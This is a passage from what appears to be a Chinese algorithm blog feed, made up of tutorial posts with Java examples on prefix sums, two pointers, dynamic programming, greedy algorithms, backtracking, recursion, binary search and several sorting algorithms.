    res[i] = res[i - 1] + diff[i];
}

三、经典应用

3.1 航班预订统计

public int[] corpFlightBookings(int[][] bookings, int n) {
    int[] diff = new int[n];
    for (int[] booking : bookings) {
        int first = booking[0] - 1, last = booking[1] - 1, seats = booking[2];
        diff[first] += seats;
        if (last + 1 < n) diff[last + 1] -= seats;
    }
    
    for (int i = 1; i < n; i++) {
        diff[i] += diff[i - 1];
    }
    return diff;
}

3.2 和为K的子数组

public int subarraySum(int[] nums, int k) {
    Map<Integer, Integer> prefixCount = new HashMap<>();
    prefixCount.put(0, 1);
    
    int sum = 0, count = 0;
    for (int num : nums) {
        sum += num;
        count += prefixCount.getOrDefault(sum - k, 0);
        prefixCount.put(sum, prefixCount.getOrDefault(sum, 0) + 1);
    }
    return count;
}

四、总结

技巧适用场景核心操作
前缀和区间查询( O(1) ) 求区间和
差分数组区间更新( O(1) ) 区间加减

前缀和与差分数组是一对互逆操作：

  • 原数组 → 前缀和：用于快速查询
  • 原数组 → 差分数组：用于快速更新

掌握这两种技巧，可以将大量区间操作问题优化到线性甚至常数时间。

]]> 算法 算法 前缀和 差分 滑动窗口与双指针技巧 //sliding-window-two-pointers/ 一、双指针概述

1.1 核心思想

使用两个指针遍历数据结构，根据条件移动指针，将 ( O(n^2) ) 优化为 ( O(n) )。

1.2 常见类型

类型特点应用
对撞指针从两端向中间移动两数之和、回文判断
快慢指针速度不同环检测、找中点
滑动窗口维护子数组/子串子串问题、区间问题

二、对撞指针

2.1 两数之和（有序数组）

public int[] twoSum(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    while (left < right) {
        int sum = nums[left] + nums[right];
        if (sum == target) return new int[]{left, right};
        if (sum < target) left++;
        else right--;
    }
    return new int[]{-1, -1};
}

2.2 盛最多水的容器

public int maxArea(int[] height) {
    int left = 0, right = height.length - 1;
    int maxArea = 0;
    
    while (left < right) {
        int area = Math.min(height[left], height[right]) * (right - left);
        maxArea = Math.max(maxArea, area);
        
        if (height[left] < height[right]) left++;
        else right--;
    }
    return maxArea;
}

2.3 三数之和

public List<List<Integer>> threeSum(int[] nums) {
    Arrays.sort(nums);
    List<List<Integer>> res = new ArrayList<>();
    
    for (int i = 0; i < nums.length - 2; i++) {
        if (i > 0 && nums[i] == nums[i - 1]) continue;
        int left = i + 1, right = nums.length - 1;
        
        while (left < right) {
            int sum = nums[i] + nums[left] + nums[right];
            if (sum == 0) {
                res.add(Arrays.asList(nums[i], nums[left], nums[right]));
                while (left < right && nums[left] == nums[left + 1]) left++;
                while (left < right && nums[right] == nums[right - 1]) right--;
                left++; right--;
            } else if (sum < 0) left++;
            else right--;
        }
    }
    return res;
}

三、快慢指针

3.1 检测链表环

public boolean hasCycle(ListNode head) {
    ListNode slow = head, fast = head;
    while (fast != null && fast.next != null) {
        slow = slow.next;
        fast = fast.next.next;
        if (slow == fast) return true;
    }
    return false;
}

3.2 找环入口

public ListNode detectCycle(ListNode head) {
    ListNode slow = head, fast = head;
    while (fast != null && fast.next != null) {
        slow = slow.next;
        fast = fast.next.next;
        if (slow == fast) break;
    }
    if (fast == null || fast.next == null) return null;
    
    slow = head;
    while (slow != fast) {
        slow = slow.next;
        fast = fast.next;
    }
    return slow;
}

四、滑动窗口

4.1 固定窗口大小

public double[] findAverages(int[] nums, int k) {
    double[] res = new double[nums.length - k + 1];
    double sum = 0;
    
    for (int i = 0; i < nums.length; i++) {
        sum += nums[i];
        if (i >= k - 1) {
            res[i - k + 1] = sum / k;
            sum -= nums[i - k + 1];
        }
    }
    return res;
}

4.2 可变窗口 - 最小覆盖子串

public String minWindow(String s, String t) {
    int[] need = new int[128];
    for (char c : t.toCharArray()) need[c]++;
    
    int left = 0, right = 0;
    int count = t.length();
    int minLen = Integer.MAX_VALUE;
    int start = 0;
    
    while (right < s.length()) {
        char c = s.charAt(right);
        if (need[c] > 0) count--;
        need[c]--;
        right++;
        
        while (count == 0) {
            if (right - left < minLen) {
                minLen = right - left;
                start = left;
            }
            char lc = s.charAt(left);
            need[lc]++;
            if (need[lc] > 0) count++;
            left++;
        }
    }
    return minLen == Integer.MAX_VALUE ? "" : s.substring(start, start + minLen);
}

4.3 最长无重复子串

public int lengthOfLongestSubstring(String s) {
    int[] index = new int[128];
    int left = 0, maxLen = 0;
    
    for (int right = 0; right < s.length(); right++) {
        char c = s.charAt(right);
        left = Math.max(left, index[c]);
        maxLen = Math.max(maxLen, right - left + 1);
        index[c] = right + 1;
    }
    return maxLen;
}

五、总结

技巧适用场景时间复杂度
对撞指针有序数组、两端收缩( O(n) )
快慢指针链表环、中点( O(n) )
滑动窗口子串/子数组问题( O(n) )

双指针和滑动窗口的核心是减少不必要的遍历。通过指针移动条件，跳过不可能满足要求的情况，将暴力解法优化到线性时间。

]]> 算法 算法 滑动窗口 双指针 动态规划经典问题解析 //dp-classic-problems/ 一、0/1背包问题

1.1 问题

n个物品，重量w[i]，价值v[i]，背包容量W，求最大价值。

1.2 状态定义

dp[i][j] = 考虑前i个物品，容量为j时的最大价值

1.3 状态转移

不选第i个：dp[i][j] = dp[i-1][j]
选第i个：dp[i][j] = dp[i-1][j-w[i]] + v[i]
dp[i][j] = max(不选, 选)
public int knapsack(int[] w, int[] v, int W) {
    int n = w.length;
    int[][] dp = new int[n + 1][W + 1];
    
    for (int i = 1; i <= n; i++) {
        for (int j = 0; j <= W; j++) {
            dp[i][j] = dp[i - 1][j];  // 不选
            if (j >= w[i - 1]) {
                dp[i][j] = Math.max(dp[i][j], 
                    dp[i - 1][j - w[i - 1]] + v[i - 1]);
            }
        }
    }
    return dp[n][W];
}

1.4 空间优化

public int knapsackOptimized(int[] w, int[] v, int W) {
    int[] dp = new int[W + 1];
    for (int i = 0; i < w.length; i++) {
        for (int j = W; j >= w[i]; j--) {  // 倒序！
            dp[j] = Math.max(dp[j], dp[j - w[i]] + v[i]);
        }
    }
    return dp[W];
}

倒序遍历防止物品被重复选取。

二、完全背包

2.1 问题

每个物品可以选无限次。

2.2 状态转移

// 正序遍历
for (int j = w[i]; j <= W; j++) {
    dp[j] = Math.max(dp[j], dp[j - w[i]] + v[i]);
}

2.3 与0/1背包的区别

  • 0/1背包：倒序（每个物品只能用一次）
  • 完全背包：正序（可以重复使用）

三、编辑距离

3.1 问题

将word1转换为word2的最少操作数（插入、删除、替换）。

3.2 状态

dp[i][j] = word1[0..i) 转 word2[0..j) 的最小操作数

3.3 实现

public int minDistance(String word1, String word2) {
    int m = word1.length(), n = word2.length();
    int[][] dp = new int[m + 1][n + 1];
    
    for (int i = 0; i <= m; i++) dp[i][0] = i;  // 删除
    for (int j = 0; j <= n; j++) dp[0][j] = j;  // 插入
    
    for (int i = 1; i <= m; i++) {
        for (int j = 1; j <= n; j++) {
            if (word1.charAt(i - 1) == word2.charAt(j - 1)) {
                dp[i][j] = dp[i - 1][j - 1];
            } else {
                dp[i][j] = Math.min(
                    dp[i - 1][j] + 1,      // 删除
                    Math.min(
                        dp[i][j - 1] + 1,  // 插入
                        dp[i - 1][j - 1] + 1  // 替换
                    )
                );
            }
        }
    }
    return dp[m][n];
}

四、股票买卖问题

4.1 买卖一次

public int maxProfit(int[] prices) {
    int minPrice = Integer.MAX_VALUE;
    int maxProfit = 0;
    for (int price : prices) {
        minPrice = Math.min(minPrice, price);
        maxProfit = Math.max(maxProfit, price - minPrice);
    }
    return maxProfit;
}

4.2 买卖多次

public int maxProfitII(int[] prices) {
    int profit = 0;
    for (int i = 1; i < prices.length; i++) {
        if (prices[i] > prices[i - 1]) {
            profit += prices[i] - prices[i - 1];
        }
    }
    return profit;
}

4.3 含冷冻期

public int maxProfitWithCooldown(int[] prices) {
    int n = prices.length;
    if (n < 2) return 0;
    
    // hold: 持有股票, sold: 刚卖出, rest: 不持有
    int hold = -prices[0], sold = 0, rest = 0;
    
    for (int i = 1; i < n; i++) {
        int prevSold = sold;
        sold = hold + prices[i];
        hold = Math.max(hold, rest - prices[i]);
        rest = Math.max(rest, prevSold);
    }
    return Math.max(sold, rest);
}

五、总结

问题类型状态设计关键点
0/1背包dp[j]容量j的最大价值倒序遍历
完全背包dp[j]容量j的最大价值正序遍历
编辑距离dp[i][j]子串转换代价三种操作
股票问题每天的状态机转移定义清楚每天的状态

动态规划的难点在于状态设计。多练习经典问题，总结状态设计的模式，是掌握DP的关键。

]]> 算法 算法 动态规划 DP 动态规划入门与状态转移 //dynamic-programming-intro/ 一、动态规划概述

1.1 核心思想

分解子问题 + 记忆化 + 递推求解

将大问题分解为重叠子问题，存储子问题的解避免重复计算。

1.2 DP三要素

  1. 状态定义：dp[i] 表示什么含义
  2. 状态转移方程：dp[i] 与 dp[i-1], dp[i-2] … 的关系
  3. 初始状态：边界条件的值

1.3 DP vs 递归 vs 贪心

特性递归贪心动态规划
子问题重叠重复计算不涉及记忆化避免重复
选择遍历所有局部最优保存所有子问题最优
最优性可能最优不一定保证最优

二、解题步骤

2.1 四步法

  1. 定义状态：明确dp数组的含义
  2. 找转移方程：分析状态如何转移
  3. 初始化：确定边界条件
  4. 确定遍历顺序：确保所需状态已计算

三、经典入门问题

3.1 斐波那契数列

// 递归 - O(2ⁿ)
int fib(int n) {
    if (n <= 1) return n;
    return fib(n - 1) + fib(n - 2);
}

// 记忆化 - O(n)
int fibMemo(int n, int[] memo) {
    if (n <= 1) return n;
    if (memo[n] != 0) return memo[n];
    memo[n] = fibMemo(n - 1, memo) + fibMemo(n - 2, memo);
    return memo[n];
}

// 动态规划 - O(n), O(1)空间
int fibDP(int n) {
    if (n <= 1) return n;
    int prev2 = 0, prev1 = 1;
    for (int i = 2; i <= n; i++) {
        int curr = prev1 + prev2;
        prev2 = prev1;
        prev1 = curr;
    }
    return prev1;
}

3.2 爬楼梯

问题：n阶楼梯，每次爬1或2步，有多少种方法。

状态：dp[i] = 爬到第i阶的方法数

转移：dp[i] = dp[i-1] + dp[i-2]

public int climbStairs(int n) {
    if (n <= 2) return n;
    int[] dp = new int[n + 1];
    dp[1] = 1; dp[2] = 2;
    for (int i = 3; i <= n; i++) {
        dp[i] = dp[i - 1] + dp[i - 2];
    }
    return dp[n];
}

3.3 不同路径

问题：m×n网格，从左上到右下，只能右或下，路径数。

public int uniquePaths(int m, int n) {
    int[][] dp = new int[m][n];
    
    for (int i = 0; i < m; i++) dp[i][0] = 1;
    for (int j = 0; j < n; j++) dp[0][j] = 1;
    
    for (int i = 1; i < m; i++) {
        for (int j = 1; j < n; j++) {
            dp[i][j] = dp[i - 1][j] + dp[i][j - 1];
        }
    }
    return dp[m - 1][n - 1];
}

3.4 最长递增子序列(LIS)

状态：dp[i] = 以nums[i]结尾的最长递增子序列长度

转移：dp[i] = max(dp[j] + 1)，其中 j < i 且 nums[j] < nums[i]

public int lengthOfLIS(int[] nums) {
    int n = nums.length;
    int[] dp = new int[n];
    Arrays.fill(dp, 1);
    int maxLen = 1;
    
    for (int i = 1; i < n; i++) {
        for (int j = 0; j < i; j++) {
            if (nums[j] < nums[i]) {
                dp[i] = Math.max(dp[i], dp[j] + 1);
            }
        }
        maxLen = Math.max(maxLen, dp[i]);
    }
    return maxLen;
}

( O(n^2) )，可优化到 ( O(n \log n) ) 用二分查找。

3.5 最大子数组和

状态：dp[i] = 以nums[i]结尾的最大子数组和

转移：dp[i] = max(nums[i], dp[i-1] + nums[i])

public int maxSubArray(int[] nums) {
    int maxSum = nums[0], currSum = nums[0];
    for (int i = 1; i < nums.length; i++) {
        currSum = Math.max(nums[i], currSum + nums[i]);
        maxSum = Math.max(maxSum, currSum);
    }
    return maxSum;
}

四、空间优化

4.1 滚动数组

当状态只依赖于前几个状态时，可用变量替代数组。

// 斐波那契
int a = 0, b = 1;
for (int i = 2; i <= n; i++) {
    int c = a + b;
    a = b;
    b = c;
}

五、总结

动态规划的关键是找到正确的状态定义。一旦状态定义清晰，转移方程往往自然浮现。记住DP的核心：大事化小，小事化了，记忆结果，避免重复。

]]> 算法 算法 动态规划 DP 贪心算法的正确性证明 //greedy-algorithm-proof/ 一、贪心算法概述

1.1 核心思想

每一步都做出局部最优选择，期望最终得到全局最优解。

1.2 与动态规划的区别

特性贪心动态规划
决策方式每步唯一选择保留多个子问题解
回溯不回溯可能回溯
复杂度通常更低较高
适用范围满足贪心选择性质满足最优子结构

1.3 适用条件

  1. 贪心选择性质：局部最优能导致全局最优
  2. 最优子结构：问题的最优解包含子问题的最优解

二、正确性证明方法

2.1 反证法

假设贪心解不是最优，推出矛盾。

2.2 归纳法

证明前k步贪心选择都包含在某个最优解中。

2.3 交换论证

将最优解中的某个选择替换为贪心选择，证明不会变差。

三、经典问题

3.1 活动选择问题

问题：选择最多不重叠的活动。

贪心策略：每次选择结束时间最早的活动。

证明：
设贪心选择的活动 ( g_1 ) 结束最早。假设最优解第一个活动为 ( o_1 )。
由于 ( g_1 ) 结束不晚于 ( o_1 )，用 ( g_1 ) 替换 ( o_1 ) 不会减少可选活动数。

public int maxActivities(int[][] activities) {
    // 按结束时间排序
    Arrays.sort(activities, (a, b) -> a[1] - b[1]);
    
    int count = 1;
    int end = activities[0][1];
    
    for (int i = 1; i < activities.length; i++) {
        if (activities[i][0] >= end) {
            count++;
            end = activities[i][1];
        }
    }
    return count;
}

3.2 跳跃游戏

问题：能否到达最后一个位置。

贪心策略：维护最远可达位置。

public boolean canJump(int[] nums) {
    int maxReach = 0;
    for (int i = 0; i < nums.length; i++) {
        if (i > maxReach) return false;  // 无法到达当前位置
        maxReach = Math.max(maxReach, i + nums[i]);
    }
    return true;
}

3.3 最少跳跃次数

public int jump(int[] nums) {
    int jumps = 0, currentEnd = 0, farthest = 0;
    
    for (int i = 0; i < nums.length - 1; i++) {
        farthest = Math.max(farthest, i + nums[i]);
        if (i == currentEnd) {
            jumps++;
            currentEnd = farthest;
        }
    }
    return jumps;
}

3.4 分发饼干

public int findContentChildren(int[] g, int[] s) {
    Arrays.sort(g);
    Arrays.sort(s);
    
    int child = 0, cookie = 0;
    while (child < g.length && cookie < s.length) {
        if (s[cookie] >= g[child]) {
            child++;
        }
        cookie++;
    }
    return child;
}

3.5 区间覆盖

选择最少点覆盖所有区间：每次选择当前区间的右端点。

public int findMinArrowShots(int[][] points) {
    if (points.length == 0) return 0;
    Arrays.sort(points, (a, b) -> Integer.compare(a[1], b[1]));
    
    int arrows = 1;
    int pos = points[0][1];
    
    for (int i = 1; i < points.length; i++) {
        if (points[i][0] > pos) {
            arrows++;
            pos = points[i][1];
        }
    }
    return arrows;
}

四、何时不能用贪心

4.1 0/1背包问题

贪心按价值/重量比选择，不一定最优。必须用动态规划。

4.2 判断方法

尝试构造反例，如果能找到贪心失败的情况，则不能用贪心。

五、总结

贪心算法的核心是证明贪心选择的正确性。常用方法包括反证法、归纳法和交换论证。贪心适用的问题通常具有”无后效性”和”局部最优即全局最优”的特性。当不确定时，先用小例子验证贪心策略是否总是正确。

]]> 算法 算法 贪心 回溯算法与剪枝优化 //backtracking-pruning/ 一、回溯算法概述

1.1 什么是回溯

回溯是一种暴力搜索算法，通过DFS遍历所有可能的解，在发现当前路径不可能得到解时回退到上一步。

1.2 核心思想

  • 探索：尝试当前选择
  • 递归：继续下一步
  • 回溯：撤销选择，尝试其他可能

1.3 适用场景

  • 组合问题
  • 排列问题
  • 子集问题
  • 棋盘问题（N皇后）
  • 搜索问题（迷宫）

二、回溯算法框架

2.1 通用模板

void backtrack(路径, 选择列表) {
    if (满足结束条件) {
        result.add(路径);
        return;
    }
    
    for (选择 : 选择列表) {
        if (剪枝条件) continue;  // 剪枝
        
        做选择;
        backtrack(路径, 选择列表);
        撤销选择;  // 回溯
    }
}

2.2 关键要素

  1. 路径：已做的选择
  2. 选择列表：当前可选的选项
  3. 结束条件：何时停止递归
  4. 状态恢复：回溯时撤销选择

三、经典问题

3.1 全排列

List<List<Integer>> result = new ArrayList<>();

public List<List<Integer>> permute(int[] nums) {
    backtrack(nums, new ArrayList<>(), new boolean[nums.length]);
    return result;
}

void backtrack(int[] nums, List<Integer> path, boolean[] used) {
    if (path.size() == nums.length) {
        result.add(new ArrayList<>(path));
        return;
    }
    
    for (int i = 0; i < nums.length; i++) {
        if (used[i]) continue;
        
        used[i] = true;
        path.add(nums[i]);
        backtrack(nums, path, used);
        path.remove(path.size() - 1);
        used[i] = false;
    }
}

3.2 子集

List<List<Integer>> result = new ArrayList<>();

public List<List<Integer>> subsets(int[] nums) {
    backtrack(nums, 0, new ArrayList<>());
    return result;
}

void backtrack(int[] nums, int start, List<Integer> path) {
    result.add(new ArrayList<>(path));
    
    for (int i = start; i < nums.length; i++) {
        path.add(nums[i]);
        backtrack(nums, i + 1, path);
        path.remove(path.size() - 1);
    }
}

3.3 N皇后

List<List<String>> result = new ArrayList<>();

public List<List<String>> solveNQueens(int n) {
    char[][] board = new char[n][n];
    for (char[] row : board) Arrays.fill(row, '.');
    backtrack(board, 0);
    return result;
}

void backtrack(char[][] board, int row) {
    if (row == board.length) {
        result.add(construct(board));
        return;
    }
    
    for (int col = 0; col < board.length; col++) {
        if (!isValid(board, row, col)) continue;
        
        board[row][col] = 'Q';
        backtrack(board, row + 1);
        board[row][col] = '.';
    }
}

boolean isValid(char[][] board, int row, int col) {
    // 检查列
    for (int i = 0; i < row; i++) {
        if (board[i][col] == 'Q') return false;
    }
    // 检查左上对角线
    for (int i = row - 1, j = col - 1; i >= 0 && j >= 0; i--, j--) {
        if (board[i][j] == 'Q') return false;
    }
    // 检查右上对角线
    for (int i = row - 1, j = col + 1; i >= 0 && j < board.length; i--, j++) {
        if (board[i][j] == 'Q') return false;
    }
    return true;
}

四、剪枝优化

4.1 什么是剪枝

在搜索过程中提前判断某条路径不可能得到解，直接跳过。

4.2 常见剪枝策略

  1. 可行性剪枝：当前选择不满足约束
  2. 最优性剪枝：当前路径不可能比已知解更优
  3. 对称性剪枝：避免搜索等价状态
  4. 记忆化：记录已搜索状态

4.3 组合总和剪枝示例

void backtrack(int[] candidates, int target, int start, List<Integer> path) {
    if (target == 0) {
        result.add(new ArrayList<>(path));
        return;
    }
    
    for (int i = start; i < candidates.length; i++) {
        if (candidates[i] > target) break;  // 剪枝：已排序，后面的更大
        
        path.add(candidates[i]);
        backtrack(candidates, target - candidates[i], i, path);
        path.remove(path.size() - 1);
    }
}

4.4 排列去重剪枝

void backtrack(int[] nums, List<Integer> path, boolean[] used) {
    if (path.size() == nums.length) {
        result.add(new ArrayList<>(path));
        return;
    }
    
    for (int i = 0; i < nums.length; i++) {
        if (used[i]) continue;
        // 剪枝：相同元素，只取第一个未使用的
        if (i > 0 && nums[i] == nums[i-1] && !used[i-1]) continue;
        
        used[i] = true;
        path.add(nums[i]);
        backtrack(nums, path, used);
        path.remove(path.size() - 1);
        used[i] = false;
    }
}

五、总结

回溯算法 = DFS + 状态恢复。掌握通用框架后，关键是识别问题类型（排列/组合/子集）和设计剪枝策略。好的剪枝可以指数级减少搜索空间，是回溯算法的核心优化手段。

]]> 算法 算法 DFS 回溯 递归与分治算法思想 //recursion-divide-conquer/ 一、递归的本质

1.1 什么是递归

函数调用自身，将大问题分解为相似的子问题。

1.2 递归三要素

  1. 终止条件：何时停止递归
  2. 递归关系：问题如何分解为子问题
  3. 返回值：子问题的解如何组合

1.3 递归的执行过程

f(n) → f(n-1) → f(n-2) → ... → f(1) → 返回
   ↑        ↑         ↑              ↑
  组合    组合      组合           基础解

二、递归的数学基础

2.1 递推关系

[ T(n) = a \cdot T(n/b) + f(n) ]

2.2 主定理(Master Theorem)

用于分析分治算法的时间复杂度：

若 ( T(n) = aT(n/b) + O(n^d) )

[ T(n) = \begin{cases} O(n^d) & \text{if } d > \log_b a \ O(n^d \log n) & \text{if } d = \log_b a \ O(n^{\log_b a}) & \text{if } d < \log_b a \end{cases} ]

2.3 应用示例

  • 归并排序：( T(n) = 2T(n/2) + O(n) )，( a=2, b=2, d=1 )，( T(n) = O(n \log n) )
  • 二分查找：( T(n) = T(n/2) + O(1) )，( T(n) = O(\log n) )

三、递归 vs 迭代

特性递归迭代
代码简洁可能较复杂
空间栈空间 ( O(n) )常数或自定义
效率有函数调用开销通常更快
适用树、分治、回溯线性遍历

3.1 尾递归优化

// 普通递归
int factorial(int n) {
    if (n <= 1) return 1;
    return n * factorial(n - 1);
}

// 尾递归
int factorialTail(int n, int acc) {
    if (n <= 1) return acc;
    return factorialTail(n - 1, n * acc);
}

尾递归可被编译器优化为迭代，避免栈溢出。

四、分治算法框架

4.1 通用模板

Result divideAndConquer(Problem problem) {
    if (problem is small enough) {
        return solveDirectly(problem);
    }
    
    // 分解
    List<Problem> subProblems = divide(problem);
    
    // 解决
    List<Result> subResults = new ArrayList<>();
    for (Problem sub : subProblems) {
        subResults.add(divideAndConquer(sub));
    }
    
    // 合并
    return merge(subResults);
}

五、经典分治问题

5.1 归并排序

已在前文详述，分治三步：分、排序、合并。

5.2 快速排序

分治三步：选pivot、分区、递归排序。

5.3 求数组中的最大子数组和

public int maxSubArray(int[] nums) {
    return maxSubArray(nums, 0, nums.length - 1);
}

int maxSubArray(int[] nums, int left, int right) {
    if (left == right) return nums[left];
    
    int mid = left + (right - left) / 2;
    int leftMax = maxSubArray(nums, left, mid);
    int rightMax = maxSubArray(nums, mid + 1, right);
    int crossMax = maxCrossingSum(nums, left, mid, right);
    
    return Math.max(Math.max(leftMax, rightMax), crossMax);
}

int maxCrossingSum(int[] nums, int left, int mid, int right) {
    int sum = 0, leftSum = Integer.MIN_VALUE;
    for (int i = mid; i >= left; i--) {
        sum += nums[i];
        leftSum = Math.max(leftSum, sum);
    }
    
    sum = 0;
    int rightSum = Integer.MIN_VALUE;
    for (int i = mid + 1; i <= right; i++) {
        sum += nums[i];
        rightSum = Math.max(rightSum, sum);
    }
    
    return leftSum + rightSum;
}

( O(n \log n) )，优化后可用动态规划做到 ( O(n) )。

六、递归常见问题

6.1 栈溢出

递归深度过大导致StackOverflowError。

  • 解决：转换为迭代，或增加栈大小

6.2 重复计算

斐波那契递归存在大量重叠子问题。

  • 解决：记忆化搜索或动态规划

6.3 记忆化搜索

int[] memo;

int fib(int n) {
    if (n <= 1) return n;
    if (memo[n] != 0) return memo[n];
    memo[n] = fib(n - 1) + fib(n - 2);
    return memo[n];
}

七、总结

递归是算法的核心思想之一，分治是其最重要的应用。理解递归的数学基础（递推关系、主定理），掌握分治的三步框架（分解-解决-合并），能够系统化解决复杂问题。对于存在重叠子问题的递归，记忆化搜索是优化关键。

]]> 算法 算法 递归 分治 二分查找与变形问题 //binary-search-variants/ 一、标准二分查找

1.1 前提条件

  • 数组有序
  • 支持随机访问

1.2 标准实现

public int binarySearch(int[] arr, int target) {
    int left = 0, right = arr.length - 1;
    
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (arr[mid] == target) return mid;
        if (arr[mid] < target) left = mid + 1;
        else right = mid - 1;
    }
    return -1;
}

1.3 防溢出

// 不推荐
int mid = (left + right) / 2;  // 可能溢出

// 推荐
int mid = left + (right - left) / 2;
// 或
int mid = (left + right) >>> 1;

二、查找边界

2.1 查找第一个等于target的位置

public int findFirst(int[] arr, int target) {
    int left = 0, right = arr.length - 1;
    int res = -1;
    
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (arr[mid] == target) {
            res = mid;
            right = mid - 1;  // 继续向左找
        } else if (arr[mid] < target) {
            left = mid + 1;
        } else {
            right = mid - 1;
        }
    }
    return res;
}

2.2 查找最后一个等于target的位置

public int findLast(int[] arr, int target) {
    int left = 0, right = arr.length - 1;
    int res = -1;
    
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (arr[mid] == target) {
            res = mid;
            left = mid + 1;  // 继续向右找
        } else if (arr[mid] < target) {
            left = mid + 1;
        } else {
            right = mid - 1;
        }
    }
    return res;
}

2.3 查找第一个大于等于target的位置

public int lowerBound(int[] arr, int target) {
    int left = 0, right = arr.length;
    
    while (left < right) {
        int mid = left + (right - left) / 2;
        if (arr[mid] < target) {
            left = mid + 1;
        } else {
            right = mid;
        }
    }
    return left;
}

2.4 查找第一个大于target的位置

public int upperBound(int[] arr, int target) {
    int left = 0, right = arr.length;
    
    while (left < right) {
        int mid = left + (right - left) / 2;
        if (arr[mid] <= target) {
            left = mid + 1;
        } else {
            right = mid;
        }
    }
    return left;
}

三、旋转数组查找

3.1 问题

有序数组旋转后，查找target。

public int searchRotated(int[] nums, int target) {
    int left = 0, right = nums.length - 1;
    
    while (left <= right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] == target) return mid;
        
        // 判断哪一半有序
        if (nums[left] <= nums[mid]) {  // 左半有序
            if (nums[left] <= target && target < nums[mid]) {
                right = mid - 1;
            } else {
                left = mid + 1;
            }
        } else {  // 右半有序
            if (nums[mid] < target && target <= nums[right]) {
                left = mid + 1;
            } else {
                right = mid - 1;
            }
        }
    }
    return -1;
}

四、二分查找的泛化应用

4.1 求平方根

public int mySqrt(int x) {
    int left = 0, right = x;
    int res = 0;
    
    while (left <= right) {
        int mid = left + (right - left) / 2;
        long square = (long) mid * mid;
        if (square == x) return mid;
        if (square < x) {
            res = mid;
            left = mid + 1;
        } else {
            right = mid - 1;
        }
    }
    return res;
}

4.2 查找峰值

public int findPeakElement(int[] nums) {
    int left = 0, right = nums.length - 1;
    
    while (left < right) {
        int mid = left + (right - left) / 2;
        if (nums[mid] > nums[mid + 1]) {
            right = mid;
        } else {
            left = mid + 1;
        }
    }
    return left;
}

五、总结

二分查找的精髓在于确定搜索区间的不变性：

  • left <= right：闭区间，最后 left = right + 1
  • left < right：左闭右开，最后 left = right

掌握边界处理和变形问题，二分查找可以解决远超”查找元素”的各类问题。

]]> 算法 算法 二分查找 排序算法堆排序与计数 //sorting-heap-counting/ 一、堆排序

1.1 核心思想

利用堆数据结构，每次将堆顶（最大/最小）元素放到正确位置。

1.2 实现

public void heapSort(int[] arr) {
    int n = arr.length;
    
    // 建大顶堆
    for (int i = n / 2 - 1; i >= 0; i--) {
        heapify(arr, n, i);
    }
    
    // 排序
    for (int i = n - 1; i > 0; i--) {
        swap(arr, 0, i);      // 堆顶放到末尾
        heapify(arr, i, 0);   // 重新堆化
    }
}

void heapify(int[] arr, int n, int i) {
    int largest = i;
    int left = 2 * i + 1;
    int right = 2 * i + 2;
    
    if (left < n && arr[left] > arr[largest]) largest = left;
    if (right < n && arr[right] > arr[largest]) largest = right;
    
    if (largest != i) {
        swap(arr, i, largest);
        heapify(arr, n, largest);
    }
}

1.3 复杂度分析

情况时间空间
最好( O(n \log n) )( O(1) )
最坏( O(n \log n) )( O(1) )
平均( O(n \log n) )( O(1) )
稳定性不稳定

1.4 特点

  • 原地排序：空间 ( O(1) )
  • 不稳定性：跳跃交换
  • 适合内存受限场景

二、计数排序

2.1 核心思想

统计每个值出现的次数，按顺序输出。

2.2 适用条件

  • 数据范围较小且整数
  • 知道数据的上下界

2.3 实现

public void countingSort(int[] arr, int maxVal) {
    int[] count = new int[maxVal + 1];
    
    // 统计
    for (int num : arr) {
        count[num]++;
    }
    
    // 输出
    int idx = 0;
    for (int i = 0; i <= maxVal; i++) {
        while (count[i]-- > 0) {
            arr[idx++] = i;
        }
    }
}

2.4 稳定版计数排序

public void countingSortStable(int[] arr, int maxVal) {
    int[] count = new int[maxVal + 1];
    int[] output = new int[arr.length];
    
    for (int num : arr) count[num]++;
    for (int i = 1; i <= maxVal; i++) count[i] += count[i - 1];
    
    // 从后往前保证稳定性
    for (int i = arr.length - 1; i >= 0; i--) {
        output[--count[arr[i]]] = arr[i];
    }
    
    System.arraycopy(output, 0, arr, 0, arr.length);
}

2.5 复杂度

情况时间空间
最好/最坏/平均( O(n + k) )( O(n + k) )

( k ) = 数据范围

三、基数排序

3.1 核心思想

按位数逐位排序，从低位到高位，每位用计数排序。

3.2 实现

public void radixSort(int[] arr) {
    int max = Arrays.stream(arr).max().getAsInt();
    
    for (int exp = 1; max / exp > 0; exp *= 10) {
        countingSortByDigit(arr, exp);
    }
}

void countingSortByDigit(int[] arr, int exp) {
    int[] count = new int[10];
    int[] output = new int[arr.length];
    
    for (int num : arr) count[(num / exp) % 10]++;
    for (int i = 1; i < 10; i++) count[i] += count[i - 1];
    
    for (int i = arr.length - 1; i >= 0; i--) {
        int digit = (arr[i] / exp) % 10;
        output[--count[digit]] = arr[i];
    }
    
    System.arraycopy(output, 0, arr, 0, arr.length);
}

3.3 复杂度

( O(d(n + k)) )，( d ) = 位数，( k ) = 进制数

四、桶排序

4.1 核心思想

将数据分到多个桶，每个桶内分别排序。

public void bucketSort(float[] arr) {
    int n = arr.length;
    List<Float>[] buckets = new ArrayList[n];
    for (int i = 0; i < n; i++) buckets[i] = new ArrayList<>();
    
    // 入桶
    for (float num : arr) {
        int idx = (int) (num * n);
        buckets[idx].add(num);
    }
    
    // 桶内排序
    for (List<Float> bucket : buckets) {
        Collections.sort(bucket);
    }
    
    // 合并
    int idx = 0;
    for (List<Float> bucket : buckets) {
        for (float num : bucket) {
            arr[idx++] = num;
        }
    }
}

五、总结

排序时间空间稳定性适用场景
堆排序( O(n \log n) )( O(1) )不稳定内存受限
计数排序( O(n + k) )( O(n + k) )稳定小范围整数
基数排序( O(d(n + k)) )( O(n + k) )稳定固定位数整数
桶排序( O(n) )平均( O(n) )稳定数据均匀分布

线性排序算法突破了比较排序的 ( O(n \log n) ) 下界，但需要特定条件。堆排序是最实用的原地 ( O(n \log n) ) 排序之一。

]]> 算法 算法 排序 排序算法归并与快速 //sorting-merge-quick/ 一、分治思想

1.1 核心步骤

  1. 分解：将问题拆分为子问题
  2. 解决：递归解决子问题
  3. 合并：将子问题的解合并

[ T(n) = aT(n/b) + f(n) ]

二、归并排序

2.1 核心思想

分而治之：将数组一分为二，分别排序后合并两个有序数组。

2.2 实现

public void mergeSort(int[] arr, int left, int right) {
    if (left >= right) return;
    
